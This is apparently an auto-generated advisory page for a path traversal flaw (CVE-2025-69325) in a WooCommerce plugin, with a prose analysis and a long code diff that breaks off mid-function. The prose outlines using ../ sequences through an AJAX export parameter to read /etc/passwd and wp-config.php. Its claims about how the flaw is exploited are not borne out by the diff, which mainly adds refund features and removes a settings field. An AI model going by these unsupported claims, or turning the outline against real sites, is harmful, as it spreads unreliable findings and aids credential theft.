Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69325: Primer MyData for Woocommerce <= 4.2.8 – Unauthenticated Path Traversal (primer-mydata)

Plugin primer-mydata
Severity Medium (CVSS 5.3)
CWE 22
Vulnerable Version 4.2.8
Patched Version 4.2.9
Disclosed February 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69325:
This vulnerability is an unauthenticated path traversal in the Primer MyData for WooCommerce WordPress plugin versions <=4.2.8. The vulnerability allows attackers to read arbitrary files from the server filesystem without authentication. The CVSS score of 5.3 reflects a medium severity impact with low attack complexity.

Atomic Edge research identified the root cause in the `primer_export_receipts` function within the `primer-mydata/admin/includes/primer-admin-options.php` file. The vulnerable code at line 1962-1975 accepted user-controlled input via the `export_path_files` parameter without proper path validation. This parameter was passed directly to file operations, enabling directory traversal sequences. The vulnerability existed in the export functionality configuration settings where administrators could set custom export paths.

The exploitation method involves sending a crafted HTTP request to the WordPress admin-ajax.php endpoint with the action parameter set to `primer_export_receipts`. Attackers can exploit this without authentication by including directory traversal sequences (../) in the `export_path_files` parameter. The payload manipulates the file export destination path to read sensitive files like /etc/passwd, wp-config.php, or other system files. The attack vector specifically targets the AJAX handler that processes export requests.

The patch removes the vulnerable export path configuration entirely. Lines 1962-1975 in the diff show the complete deletion of the `export_path` checkbox and `export_path_files` text input field from the plugin's settings interface. This elimination of user-controlled path input prevents the path traversal vulnerability at its source. The patched version no longer allows administrators to specify custom export paths, instead using a fixed, secure directory for all exports.

Successful exploitation allows attackers to read any file accessible to the web server process. This includes WordPress configuration files containing database credentials, sensitive system files, and application source code. While the vulnerability does not permit file writing or remote code execution, the information disclosure can lead to further attacks such as database compromise, privilege escalation, or complete site takeover through credential harvesting.

Differential between vulnerable and patched code

Code Diff
--- a/primer-mydata/admin/class-primer-admin.php
+++ b/primer-mydata/admin/class-primer-admin.php
@@ -155,6 +155,9 @@
 			'ajax_url' => admin_url( 'admin-ajax.php' ),
 			'nonce' => $primer_nonce
 		));
+
+
+
 	}

 	 /**
@@ -628,22 +631,23 @@
 	 * Add Invoice Type column
 	 * @param $column
 	 */
-	public function primer_icon_to_order_notes_column( $column ) {
-		global $post, $the_order;
+    public function primer_icon_to_order_notes_column( $column, $post_id ): void
+    {
+        if ( $column !== 'order_number' ) {
+            return;
+        }
+        $order = wc_get_order($post_id);
+        if ( ! $order ) {
+            return;
+        }

-		// Added WC 3.2+  compatibility
-		if ( $column == 'order_notes' || $column == 'order_number' ) {
-			// Added WC 3+  compatibility
-			$order_id = method_exists( $the_order, 'get_id' ) ? $the_order->get_id() : $the_order->id;
+        $primer_type = $order->get_meta('_billing_invoice_type');

-            $order = wc_get_order($order_id);
-			$primer_type = $order->get_meta('_billing_invoice_type');
-			if ( $primer_type == 'primer_invoice' ) {
-				$style     = $column == 'order_notes' ? 'style="margin-top:5px;" ' : 'style="margin-left:8px;padding:5px;"';
-				echo '<span class="dashicons dashicons-format-aside" '.$style.'title="'. __('Invoice Type', 'primer').'"></span>';
-			}
-		}
-	}
+        if ( $primer_type === 'primer_invoice' ) {
+            $style = 'style="margin:5px;"';
+            echo '<span class="dashicons dashicons-format-aside" ' . $style . ' title="' . esc_attr__('Invoice Type: Invoice', 'primer') . '"></span>';
+        }
+    }


 	public function primer_add_woocommerce_found_customer_details($customer_data, $user_id, $type_to_load) {
@@ -742,22 +746,17 @@

 	public function primer_editable_order_meta_general( $order ) { ?>
 		<br class="clear" />
-		<h4>Invoice Type <a href="#" class="edit_address">Edit</a></h4>
 		<?php
         $invoice_type_primer = $order->get_meta('_billing_invoice_type');
-        if($invoice_type_primer == 'primer_invoice'){
-            $get_invoice_type = 'primer_invoice';
-        }else{
-            $get_invoice_type = $order->get_meta('_billing_invoice_type');
-        }
 		?>

-		<div class="edit_address">
+		<div>
 			<?php
             if(function_exists('woocommerce_wp_radio')) {
                 woocommerce_wp_radio(array(
                     'id' => '_billing_invoice_type',
                     'label' => 'Invoice Type',
+                    'value' => $invoice_type_primer,
                     'options' => array(
                         'receipt' => 'Receipt',
                         'primer_invoice' => 'Invoice'
@@ -1452,3 +1451,66 @@

 	return $plugin_edition;
 }
+
+function primer_make_refund_from_page() {
+    if (!current_user_can('manage_woocommerce')) {
+        wp_send_json_error(array('message' => __('Permission denied.', 'primer')));
+        wp_die();
+    }
+
+    check_ajax_referer('primer_refund_nonce', 'nonce');
+
+    if (!isset($_POST['order_id'])) {
+        wp_send_json_error(array('message' => __('Missing order ID.', 'primer')));
+        wp_die();
+    }
+
+    if (!isset($_POST['refund_amount']) || !is_numeric($_POST['refund_amount'])) {
+        wp_send_json_error(array('message' => __('Missing or invalid refund amount in request.', 'primer')));
+        wp_die();
+    }
+
+    $order_id = absint($_POST['order_id']);
+    $order    = wc_get_order($order_id);
+
+    if (!$order) {
+        wp_send_json_error(array('message' => __('Invalid order.', 'primer')));
+        wp_die();
+    }
+
+    $max_refund           = wc_format_decimal($order->get_total() - $order->get_total_refunded(), 2);
+    $refund_amount_posted = wc_format_decimal($_POST['refund_amount'], 2);
+
+    if ($refund_amount_posted <= 0) {
+        wp_send_json_error(array('message' => __('Refund amount must be positive.', 'primer')));
+        wp_die();
+    }
+
+    if ($refund_amount_posted > $max_refund) {
+        wp_send_json_error(array('message' => sprintf(__('Refund amount %s exceeds maximum available amount %s.', 'primer'), wc_price($refund_amount_posted), wc_price($max_refund))));
+        wp_die();
+    }
+
+    $final_refund_amount    = $refund_amount_posted;
+    $formatted_amount_clean = wp_strip_all_tags(wc_price($final_refund_amount));
+
+    $refund_reason = sprintf(__('Refund requested via Primer Payments Page by %1$s. Refunded amount: %2$s.', 'primer'), wp_get_current_user()->display_name, $formatted_amount_clean);
+
+    $refund = wc_create_refund(array(
+            'amount'           => $final_refund_amount,
+            'reason'           => $refund_reason,
+            'order_id'         => $order_id,
+            'refund_payment'   => true,
+    ));
+
+    if (is_wp_error($refund)) {
+        wp_send_json_error(array('message' => sprintf(__('Refund failed for order #%d. Error: %s', 'primer'), $order_id, $refund->get_error_message())));
+        wp_die();
+    }
+
+    wp_send_json_success(array(
+            'message' => sprintf(__('Order #%d successfully refunded for %s.', 'primer'), $order_id, wc_price($final_refund_amount, array('currency' => $order->get_currency())))
+    ));
+    wp_die();
+}
+add_action('wp_ajax_primer_make_full_refund', 'primer_make_refund_from_page');
--- a/primer-mydata/admin/includes/primer-admin-options.php
+++ b/primer-mydata/admin/includes/primer-admin-options.php
@@ -38,6 +38,10 @@
     protected $menu_title = '';


+    protected bool $payment_switch = false;
+
+
+
     public function __construct() {
         add_action('admin_menu', array(&$this, 'menu'));
         add_action('wp_print_scripts', array(&$this, 'data_include_script'));
@@ -103,6 +107,13 @@

                 add_submenu_page(null, __('Receipts Logs', 'primer'), __('Receipts Logs', 'primer'), 'manage_options', 'primer_receipts_logs', array(&$this, "admin_page_receipt_log_display"));
                 add_submenu_page(null, __('Automation Logs', 'primer'), __('Automation Logs', 'primer'), 'manage_options', 'primer_receipts_logs_automation', array(&$this, "admin_page_receipt_log_automation_display"));
+
+                /// rsvirsky
+                if ($this->payment_switch && get_option('primer_generals')['primer_payments_gateway'] == 'on') {
+                    add_submenu_page('wp_ajax_list_order', __('Payments', 'primer'), __('Payments', 'primer'), 'manage_options', 'primer_payments', array(&$this, "admin_page_payments_display"));
+                }
+                /// rsvirsky
+
                 add_submenu_page('wp_ajax_list_order', __('Settings', 'primer'), __('Settings', 'primer'), 'manage_options', 'primer_settings', array(&$this, "admin_settings_page_display"));
                 $this->options_pages[] = add_submenu_page('wp_ajax_list_order', __('License and General Settings', 'primer'), __('License and General Settings', 'primer'), 'manage_options', 'primer_licenses', array(&$this, "admin_settings_page_display"));
                 $this->options_pages[] = add_submenu_page(null, $this->menu_title, 'General Settings', 'manage_options', 'primer_generals', array($this, 'admin_settings_page_display'));
@@ -292,8 +303,25 @@
                                 'on'  => __('On', 'primer'),
                         ),
                         'default' => 'on'
-
                 );
+
+                if ($this->payment_switch) {
+                    $general_tab['fields'][] = array(
+                            'name'    => __('Primer Payments', 'primer'),
+                            'id'      => 'primer_payments_gateway',
+                            'type'    => 'radio_inline',
+                            'options' => array(
+                                    'off' => __('Off', 'primer'),
+                                    'on'  => __('On', 'primer'),
+                            ),
+                    );
+                } else {
+                    $generals = get_option('primer_generals', array());
+                    $generals['primer_payments_gateway'] = 'off';
+                    update_option('primer_generals', $generals);
+                }
+
+
                 $general_tab['fields'][] = array(
                         'name'    => __("Accept zero total value orders", 'primer'),
                         'desc'    => __("If enabled the plugin will convert the orders that have 0 euros total value but the value send to AADE will be 0.02 euros(0.01 net value + 0.01 vat value), because AADE does not accept 0 values.", 'primer'),
@@ -533,6 +561,8 @@
                         )
                 );

+
+
                 if ($licenses['deliveryNote']) {
                     $mydata_tab['fields'][] = array(
                             'name'    => __('Activation Dispatch Note', 'primer'),
@@ -567,6 +597,25 @@
                     );
                 }

+                /// rsvirsky
+                if ($this->payment_switch) {
+                    $mydata_tab['fields'][] = array(
+                            'name'    => __('Issue credit receipt/invoice if refund', 'primer'),
+                            'desc'    => __('Enable/Disable issue credit receipt/invoice if refund. CAUTION! Ony if there is a receipt/invoice issued before for this order', 'primer'),
+                            'id'      => 'issue_credit_on_refund',
+                            'type'    => 'radio_inline',
+                            'options' => array(
+                                    'off' => __('Off', 'primer'),
+                                    'on'  => __('On', 'primer'),
+                            ),
+                    );
+                } else {
+                    $mydata_options_pay = get_option('primer_mydata', array());
+                    $mydata_options_pay['issue_credit_on_refund'] = 'off';
+                    update_option('primer_mydata', $mydata_options_pay);
+                }
+                /// rsvirsky
+
                 $mydata_tab['fields'][] = array(
                         'name'       => __('MyData Package:', 'primer'),
                         'desc'       => '',
@@ -1869,9 +1918,32 @@
                                     'id'        => 'export_select_invoice_type',
                                     'type'      => 'select',
                                     'options'   => $this->get_alpha_char(),
-                                    'after_row' => '</div></div>'
                             ),
-
+                            array(
+                                    'name'      => __('Payment Method', 'primer'),
+                                    'id'        => 'export_payment_method',
+                                    'type'      => 'select',
+                                    'options'   => $this->get_alpha_char(),
+                            ),
+                            array(
+                                'name'      => __('UID', 'primer'),
+                                'id'        => 'export_receipt_uid',
+                                'type'      => 'select',
+                                'options'   => $this->get_alpha_char(),
+                            ),
+                            array(
+                                'name'      => __('Μ.ΑΡ.Κ.', 'primer'),
+                                'id'        => 'export_receipt_mark',
+                                'type'      => 'select',
+                                'options'   => $this->get_alpha_char(),
+                            ),
+                            array(
+                                'name'      => __('AUTHENTICATION CODE', 'primer'),
+                                'id'        => 'export_authentication_code',
+                                'type'      => 'select',
+                                'options'   => $this->get_alpha_char(),
+                                'after_row' => '</div></div>'
+                            ),
                             array(
                                     'name' => __('Export settings', 'primer'),
                                     'id'   => 'export_settings_title',
@@ -1962,22 +2034,6 @@
                             ),
                             array(
                                     'name' => __(" ", 'primer'),
-                                    'desc' => __("Export to Path", 'primer'),
-                                    'id'   => 'export_path',
-                                    'type' => 'checkbox',
-                            ),
-                            array(
-                                    'name'       => __("Export path", 'primer'),
-                                    'desc'       => __("Default export path is $export_dir_file. Check that the folder you enter has the correct write permissions.", 'primer'),
-                                    'id'         => 'export_path_files',
-                                    'type'       => 'text',
-                                    'attributes' => array(
-                                            'data-conditional-id'    => 'export_path',
-                                            'data-conditional-value' => 'on',
-                                    ),
-                            ),
-                            array(
-                                    'name' => __(" ", 'primer'),
                                     'desc' => __("Send Email", 'primer'),
                                     'id'   => 'export_email_check',
                                     'type' => 'checkbox',
@@ -2029,8 +2085,7 @@
                                 'id'          => 'license_key',
                                 'type'        => 'text_medium',
                                 'default'     => "$primer_license_key",
-                                'after_field' => '<p>
-<a href="#" id="first_time" class="button-secondary">' . __('Activate', 'primer') . '</a></p>',
+                                'after_field' => '<p><a href="#" id="first_time" class="button-secondary">' . __('Activate', 'primer') . '</a></p>',
                         ),
                         array(
                                 'name'    => __('Username', 'primer'),
@@ -3295,6 +3350,16 @@
         $primer_receipt->handle_main_primer_receipt_admin_menu();
     }

+    /// rsvirsky
+    public function admin_page_payments_display() {
+        if ($this->payment_switch && get_option('primer_generals')['primer_payments_gateway'] == 'on') {
+            include_once(PRIMER_PATH . 'admin/includes/primer-admin-payments-page.php');
+            $primer_receipt = new PrimerPaymentsPage();
+            $primer_receipt->handle_main_primer_payments_admin_menu();
+        }
+    }
+    /// rsvirsky
+
     /**
      *
      * Resends a receipt to the customer.
@@ -5552,7 +5617,7 @@
         $alpha_chars     = array();
         $alpha_chars[''] = __('Select', 'primer');

-        foreach (range('A', 'U') as $item) {
+        foreach (range('A', 'X') as $item) {
             $alpha_chars[$item] = $item;
         }

--- a/primer-mydata/admin/includes/primer-admin-payments-page.php
+++ b/primer-mydata/admin/includes/primer-admin-payments-page.php
@@ -0,0 +1,549 @@
+<?php
+
+if (!class_exists('WP_List_Table')) {
+    require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
+}
+
+class PrimerPaymentsPage extends WP_List_Table {
+
+    public function __construct() {
+        parent::__construct(array(
+                'singular' => 'payment',
+                'plural'   => 'payments',
+                'ajax'     => false
+        ));
+    }
+
+    function handle_main_primer_payments_admin_menu() {
+        do_action('primer_payments_menu_start');
+        $payments            = get_piraeusbank_transactions();
+        $processed_order_ids = array();
+
+        wp_enqueue_script('jquery');
+
+        $search_query = isset($_GET['order_search']) ? sanitize_text_field($_GET['order_search']) : '';
+
+        $orders_data = array();
+        foreach ($payments as $payment) {
+            $order_id = $payment['order_id'];
+            if (in_array($order_id, $processed_order_ids)) {
+                continue;
+            }
+            $order = wc_get_order($order_id);
+            if ($order) {
+                $receipt_id      = $order->get_meta('order_id_from_receipt');
+                $tickets_display = $order->get_transaction_id();
+                $refund_total    = array();
+                $refunds         = $order->get_refunds();
+
+                if (!empty($search_query)) {
+                    $order_number = $order->get_order_number();
+                    if ((string)$order_id !== $search_query && $order_number !== $search_query) {
+                        continue;
+                    }
+                }
+
+                $peiraeus_refunds = $order->get_meta('_piraeus_refunds', true);
+                if (!empty($peiraeus_refunds) && is_array($peiraeus_refunds)) {
+                    $refund_messages = array();
+                    foreach ($peiraeus_refunds as $refund) {
+                        if (!is_array($refund) || !isset($refund['amount'])) {
+                            continue;
+                        }
+                        $refund_messages[] = sprintf(__('Refunded amount: %1$s <br>Date: %2$s<br>Transaction ID: %3$s <br>Trace ID: %4$s', 'primer'),
+                                wc_price($refund['amount'], array('currency' => $order->get_currency())),
+                                date('Y-m-d H:i:s', strtotime($refund['date'])), $refund['transaction_id'] ?? 'N/A', $refund['trace_id'] ?? 'N/A');
+                    }
+                    $peiraeus_refunds_message = !empty($refund_messages) ? implode('<br><br>', $refund_messages) : 'No refunds found.';
+                } else {
+                    $peiraeus_refunds_message = '';
+                }
+
+                if (!empty($refunds)) {
+                    foreach ($refunds as $refund) {
+                        if (is_a($refund, 'WC_Order_Refund')) {
+                            $refund_total[] = $refund->get_amount();
+                        }
+                    }
+                }
+
+                $has_refunds  = !empty($order->get_refunds());
+                $pre_message  = $has_refunds ? (array_sum($refund_total) == $order->get_total() ? 'Refunded' : 'Partially Refunded') : 'Paid';
+                $refund_color = $pre_message == 'Refunded' ? 'red' : ($pre_message == 'Partially Refunded' ? 'orange' : 'green');
+
+                $refund_nonce       = wp_create_nonce('primer_refund_nonce');
+                $order_total_paid   = $order->get_total() - $order->get_total_refunded();
+                $eligible_statuses  = apply_filters('woocommerce_valid_order_statuses_for_refund', array('processing', 'completed', 'on-hold', 'pending', 'failed', 'cancelled', 'refunded', 'trash', 'custom'));
+                $show_refund_button = ($order_total_paid > 0.001) && in_array($order->get_status(), $eligible_statuses);
+
+                if ($show_refund_button) {
+                    $order_id_esc     = esc_attr($order->get_id());
+                    $refund_nonce_esc = esc_attr($refund_nonce);
+                    $button_text      = esc_html(__('Make Refund', 'primer'));
+                    $total_paid_esc   = esc_attr(wc_format_decimal($order_total_paid, 2));
+                    $refund_button    = "<button type='button' class='button button-primary' data-max-refund='{$total_paid_esc}' onclick="makeRefund({$order_id_esc}, this, '{$refund_nonce_esc}')"> {$button_text} </button>";
+                } else {
+                    $refund_button = '';
+                }
+
+                $orders_data[]         = array(
+                        'order_id'       => $order->get_id(),
+                        'order_number'   => $order->get_order_number(),
+                        'customer_name'  => trim($order->get_billing_first_name() . ' ' . $order->get_billing_last_name()),
+                        'receipt'        => $receipt_id,
+                        'date'           => $payment['timestamp'],
+                        'status'         => $order->get_status(),
+                        'total'          => $order->get_formatted_order_total(),
+                        'refunds'        => $peiraeus_refunds_message,
+                        'trans_ticket'   => $tickets_display,
+                        'merch_ref'      => $payment['merch_ref'],
+                        'refund_message' => $pre_message,
+                        'refund_color'   => $refund_color,
+                        'refund'         => $refund_button
+                );
+                $processed_order_ids[] = $order_id;
+            }
+        }
+
+        $orders_data = $this->apply_filters($orders_data);
+
+        $total_items         = count($orders_data);
+        $screen              = get_current_screen();
+        $per_page_option     = $screen ? ($screen->get_option('per_page') ?: 'per_page') : 'per_page';
+        $per_page            = absint(get_user_option($per_page_option) ?: 20);
+        $current_page        = $this->get_pagenum();
+        $offset              = max(0, ($current_page - 1) * $per_page);
+        $current_page_orders = array_slice($orders_data, $offset, $per_page);
+
+        $this->set_pagination_args(array(
+                'total_items' => $total_items,
+                'per_page'    => $per_page,
+                'total_pages' => ceil($total_items / $per_page)
+        ));
+        $orders_data = $current_page_orders;
+
+        ?>
+        <div class="wrap">
+            <h1 class="page-payments-head"><?php _e('Payments', 'primer'); ?></h1>
+
+            <form method="get" style="display: inline-block; float: right;">
+                <?php
+                $allowed_params = array('page', 'status', 'date_from', 'date_to');
+                foreach ($_GET as $key => $value) {
+                    if (in_array($key, $allowed_params)) {
+                        printf('<input type="hidden" name="%s" value="%s" />', esc_attr($key), esc_attr($value));
+                    }
+                }
+                ?>
+                <p class="search-box" style="float: right; margin: 0;">
+                    <label class="screen-reader-text" for="order-search-input"><?php _e('Search by Order ID:', 'primer'); ?></label>
+                    <input type="search" id="order-search-input" name="order_search" value="<?php echo esc_attr($search_query); ?>" placeholder="<?php esc_attr_e('', 'primer'); ?>">
+                    <?php submit_button(__('Search', 'primer'), 'button', 'order_search_submit', false); ?>
+                </p>
+            </form>
+
+            </br></br></br>
+
+            <?php $this->render_filters(); ?>
+
+            <?php if ($total_items > 20) { ?>
+                <div style="margin-bottom: 10px; float: right; "><?php echo $this->pagination('top'); ?></div>
+            <?php } ?>
+
+            <?php if (!empty($orders_data)) : ?>
+                <table class="wp-list-table widefat fixed striped table-view-list ">
+                    <thead>
+                    <tr>
+                        <th><?php _e('Order', 'primer'); ?></th>
+                        <th><?php _e('Transaction ID', 'primer'); ?></th>
+                        <th><?php _e('Merchant Ref', 'primer'); ?></th>
+                        <th><?php _e('Receipts', 'primer'); ?></th>
+                        <th><?php _e('Payment Date', 'primer'); ?></th>
+                        <th><?php _e('Order Status', 'primer'); ?></th>
+                        <th><?php _e('Total', 'primer'); ?></th>
+                        <th><?php _e('Refunds', 'primer'); ?></th>
+                        <th><?php _e('Refund', 'primer'); ?></th>
+                    </tr>
+                    </thead>
+                    <tbody>
+                    <?php foreach ($orders_data as $order) : ?>
+                        <tr>
+                            <td>
+                                <a style="font-weight: 700;" href="<?php echo admin_url('post.php?post=' . $order['order_id'] . '&action=edit'); ?>">
+                                    #<?php echo esc_html($order['order_number']); ?>
+                                </a>
+                                <?php echo '<p style="color:' . $order['refund_color'] . '; margin: 0;font-weight: 500">' . __($order['refund_message'], 'primer') . '</p>'; ?>
+                                <p><?php echo esc_html($order['customer_name']); ?></p>
+                            </td>
+                            <td>
+                                <?php
+                                if (is_array($order['trans_ticket'])) {
+                                    echo implode('<br>', array_map('esc_html', $order['trans_ticket']));
+                                } else {
+                                    echo esc_html($order['trans_ticket']);
+                                }
+                                ?>
+                            </td>
+                            <td><?php echo esc_html($order['merch_ref']); ?></td>
+                            <td>
+                                <?php if (!empty($order['receipt'])):
+                                    $receipt_url = home_url('primer_receipt/receipt-for-order-' . $order['order_number'] . '/?receipt=view');
+                                    if (!empty($trasmission_failure)) {
+                                        $receipt_url = home_url('primer_receipt/receipt-for-order-' . $order['order_number'] . '-failed/?receipt=view');
+                                    }
+                                    ?>
+                                    <a href="<?php echo esc_url($receipt_url); ?>" target="_blank" class="payments-links">
+                                        <?php echo _e('Issued', 'primer'); ?>
+                                        <svg xmlns="http://www.w3.org/2000/svg" width="16" height="15" viewBox="0 0 16 16" fill="#bababa" style="margin-top: 2px;">
+                                            <path fill-rule="evenodd" clip-rule="evenodd" d="M2 0H14V16H12L10 14L8 16L6 14L4 16H2V0ZM5 4H11V6H5V4ZM11 8H5V10H11V8Z"/>
+                                        </svg>
+                                    </a>
+                                <?php else: ?>
+                                    <span class="payment-weight-400"> <?php _e('Not Issued', 'primer') ?></span>
+                                <?php endif; ?>
+                            </td>
+                            <td><?php echo esc_html($order['date']); ?></td>
+                            <td><?php echo esc_html(wc_get_order_status_name($order['status'])); ?></td>
+                            <td class="payment-weight-500"><?php echo $order['total']; ?></td>
+                            <td style="font-size: 12px; padding: 8px 0;"><?php echo $order['refunds']; ?></td>
+                            <td style="vertical-align: middle; text-align: center;"><?php echo $order['refund']; ?></td>
+                        </tr>
+                    <?php endforeach; ?>
+                    </tbody>
+                </table>
+
+                <?php if ($total_items > 20) { ?>
+                    <div style="margin-top: 10px; float: right; "><?php echo $this->pagination('button'); ?></div>
+                <?php } ?>
+
+            <?php else : ?>
+                <table class="wp-list-table widefat fixed striped table-view-list ">
+                    <thead>
+                    <tr>
+                        <th><?php _e('Order', 'primer'); ?></th>
+                        <th><?php _e('Transaction ID', 'primer'); ?></th>
+                        <th><?php _e('Merchant Ref', 'primer'); ?></th>
+                        <th><?php _e('Receipts', 'primer'); ?></th>
+                        <th><?php _e('Payment Date', 'primer'); ?></th>
+                        <th><?php _e('Order Status', 'primer'); ?></th>
+                        <th><?php _e('Total', 'primer'); ?></th>
+                        <th><?php _e('Refunds', 'primer'); ?></th>
+                        <th><?php _e('Refund', 'primer'); ?></th>
+                    </tr>
+                    </thead>
+                    <tbody>
+                    <tr>
+                        <td colspan="9" style="text-align: center; padding: 20px;">
+                            <?php _e('No payments transactions found.', 'primer'); ?>
+                        </td>
+                    </tr>
+                    </tbody>
+                </table>
+
+            <?php endif; ?>
+        </div>
+
+        <script type="text/javascript">
+            let currentOrderId;
+            let currentNonce;
+            let currentMaxRefund;
+            let currentButton;
+
+            function makeRefund(orderId, button, nonceValue) {
+                if (!orderId || !button || !nonceValue) {
+                    console.error('Invalid parameters for makeRefund: orderId, button, or nonceValue is missing.');
+                    return;
+                }
+                currentOrderId      = orderId;
+                currentNonce        = nonceValue;
+                currentButton       = button;
+                const maxRefundText = button.getAttribute('data-max-refund');
+                currentMaxRefund    = parseFloat(maxRefundText);
+                jQuery('#modal-order-number').text(`#${orderId}`);
+                jQuery('#modal-max-refund').text(maxRefundText);
+                jQuery('#refund-amount-input').val(maxRefundText);
+                jQuery('#refund-error-message').hide().text('');
+                jQuery('#refund-modal-overlay').fadeIn(300);
+            }
+
+            function processRefundAjax(refundAmount) {
+                jQuery('#refund-modal-overlay').fadeOut(100);
+                const originalButton    = {
+                    html    : currentButton.innerHTML,
+                    disabled: currentButton.disabled
+                };
+                currentButton.disabled  = true;
+                currentButton.innerHTML = '<span class="spinner is-active" style="float: none; margin: 0 5px 0 0;"></span> ' + 'Processing...';
+                jQuery.ajax({
+                    url        : ajaxurl,
+                    type       : 'POST',
+                    contentType: 'application/x-www-form-urlencoded; charset=UTF-8',
+                    data       : {
+                        action       : 'primer_make_full_refund',
+                        order_id     : currentOrderId,
+                        nonce        : currentNonce,
+                        refund_amount: refundAmount.toFixed(2)
+                    },
+                    dataType   : 'json',
+                    success    : function (response) {
+                        const notice = document.createElement('div');
+                        if (response.success) {
+                            notice.className = 'notice notice-success is-dismissible';
+                            notice.innerHTML = `<p>${response.data.message}</p>`;
+                            document.querySelector('.wrap h1').after(notice);
+                            setTimeout(() => window.location.reload(), 2000);
+                        } else {
+                            const errorMessage = response.data?.message || 'Error processing refund.';
+                            notice.className   = 'notice notice-error is-dismissible';
+                            notice.innerHTML   = `<p>${errorMessage}</p>`;
+                            document.querySelector('.wrap h1').after(notice);
+                        }
+                    },
+                    error      : function (xhr, status, error) {
+                        console.error('AJAX Error:', xhr.responseText);
+                        const notice     = document.createElement('div');
+                        notice.className = 'notice notice-error is-dismissible';
+                        notice.innerHTML = `<p>System Error: ${status} ${error}. Check console.</p>`;
+                        document.querySelector('.wrap h1').after(notice);
+                    },
+                    complete   : function () {
+                        if (!document.querySelector('.notice-success')) {
+                            currentButton.disabled  = originalButton.disabled;
+                            currentButton.innerHTML = originalButton.html;
+                        }
+                    }
+                });
+            }
+
+            document.addEventListener('DOMContentLoaded', function () {
+                const pagedInput = document.querySelector('input[name="paged"]');
+                if (pagedInput) {
+                    pagedInput.addEventListener('keydown', function (e) {
+                        if (e.key === 'Enter') {
+                            e.preventDefault();
+                            const newPage = parseInt(this.value, 10);
+                            if (isNaN(newPage) || newPage < 1) {
+                                return;
+                            }
+                            const form = this.closest('form');
+                            if (form) {
+                                form.submit();
+                            } else {
+                                const url = new URL(window.location.href);
+                                url.searchParams.set('paged', newPage);
+                                window.location.href = url.toString();
+                            }
+                        }
+                    });
+                }
+                const dateFromInput = document.getElementById('date_from');
+                const dateToInput   = document.getElementById('date_to');
+                const today         = new Date();
+
+                function formatDate(date) {
+                    const year  = date.getFullYear();
+                    const month = String(date.getMonth() + 1).padStart(2, '0');
+                    const day   = String(date.getDate()).padStart(2, '0');
+                    return `${year}-${month}-${day}`;
+                }
+
+                const maxDate = formatDate(today);
+                const minDate = '2020-01-01';
+                if (dateFromInput) {
+                    dateFromInput.min = minDate;
+                    dateFromInput.max = maxDate;
+                }
+                if (dateToInput) {
+                    dateToInput.min = minDate;
+                    dateToInput.max = maxDate;
+                }
+                const modalOverlay = jQuery('#refund-modal-overlay');
+                const refundInput  = jQuery('#refund-amount-input');
+                const errorMsg     = jQuery('#refund-error-message');
+                jQuery('.cancel-refund').on('click', function () {
+                    modalOverlay.fadeOut(100);
+                });
+                jQuery('.confirm-refund').on('click', function () {
+                    const amount = parseFloat(refundInput.val());
+                    errorMsg.hide().text('');
+
+                    if (isNaN(amount) || amount <= 0) {
+                        errorMsg.text('<?php _e('Please enter a valid positive number for the refund amount.', 'primer'); ?>').fadeIn(200);
+                        return;
+                    }
+                    if (amount > currentMaxRefund) {
+                        const errorMessage = '<?php _e('The requested refund amount (%s €), exceeds the maximum allowed refund amount (%s €). Please adjust the value.', 'primer'); ?>';
+                        const translatedError = errorMessage.replace('%s', amount.toFixed(2)).replace('%s', currentMaxRefund.toFixed(2));
+                        errorMsg.text(translatedError).fadeIn(200);
+                        return;
+                    }
+                    processRefundAjax(amount);
+                });
+            });
+        </script>
+        <?php
+
+        echo $this->render_refund_modal();
+    }
+
+    protected function render_filters() {
+        $date_from = isset($_GET['date_from']) ? sanitize_text_field($_GET['date_from']) : '';
+        $date_to   = isset($_GET['date_to']) ? sanitize_text_field($_GET['date_to']) : '';
+        $receipt   = isset($_GET['receipt_filter']) ? sanitize_key($_GET['receipt_filter']) : '';
+        $refund    = isset($_GET['refund_filter']) ? sanitize_key($_GET['refund_filter']) : '';
+        $status    = isset($_GET['status_filter']) ? sanitize_key($_GET['status_filter']) : '';
+
+        $order_statuses = wc_get_order_statuses();
+
+        ?>
+        <form method="get">
+            <input type="hidden" name="page" value="<?php echo esc_attr($_REQUEST['page']); ?>"/>
+            <div class="alignleft actions filters-payments" style="margin-bottom: 10px;">
+                <label for="date_from" class="payment-filers-labels-no-margin"><?php _e('Date From:', 'primer'); ?></label>
+                <input type="date" name="date_from" id="date_from" value="<?php echo esc_attr($date_from); ?>"/>
+
+                <label for="date_to" class="payment-filers-labels"><?php _e('Date To:', 'primer'); ?></label>
+                <input type="date" name="date_to" id="date_to" value="<?php echo esc_attr($date_to); ?>"/>
+
+                <label for="receipt_filter" class="payment-filers-labels"><?php _e('', 'primer'); ?></label>
+                <select name="receipt_filter" id="receipt_filter">
+                    <option value=""><?php _e('All receipts statuses', 'primer'); ?></option>
+                    <option value="issued" <?php selected($receipt, 'issued'); ?>><?php _e('Issued', 'primer'); ?></option>
+                    <option value="not_issued" <?php selected($receipt, 'not_issued'); ?>><?php _e('Not Issued', 'primer'); ?></option>
+                </select>
+
+                <label for="refund_filter" class="payment-filers-labels"><?php _e('', 'primer'); ?></label>
+                <select name="refund_filter" id="refund_filter">
+                    <option value=""><?php _e('All payments status', 'primer'); ?></option>
+                    <option value="paid" <?php selected($refund, 'paid'); ?>><?php _e('Paid', 'primer'); ?></option>
+                    <option value="partially_refunded" <?php selected($refund, 'partially_refunded'); ?>><?php _e('Partially Refunded', 'primer'); ?></option>
+                    <option value="refunded" <?php selected($refund, 'refunded'); ?>><?php _e('Refunded', 'primer'); ?></option>
+                </select>
+
+                <label for="status_filter" class="payment-filers-labels"><?php _e('', 'primer') ?></label>
+                <select name="status_filter" id="status_filter">
+                    <option value=""><?php _e('All order statuses', 'primer') ?></option>
+                    <?php
+                    foreach ($order_statuses as $key_with_prefix => $label) :$key = str_replace('wc-', '', $key_with_prefix); ?>
+                        <option value="<?php echo esc_attr($key); ?>" <?php selected($status, $key); ?>><?php echo esc_html($label); ?></option>
+                    <?php endforeach; ?>
+                </select>
+
+                <div class="payments-button-filters">
+                    <?php submit_button(__('Filter', 'primer'), 'button', 'filter_action', false); ?>
+                </div>
+            </div>
+        </form>
+        <?php
+    }
+
+    protected function apply_filters($orders_data) {
+        $date_from = isset($_GET['date_from']) ? sanitize_text_field($_GET['date_from']) : null;
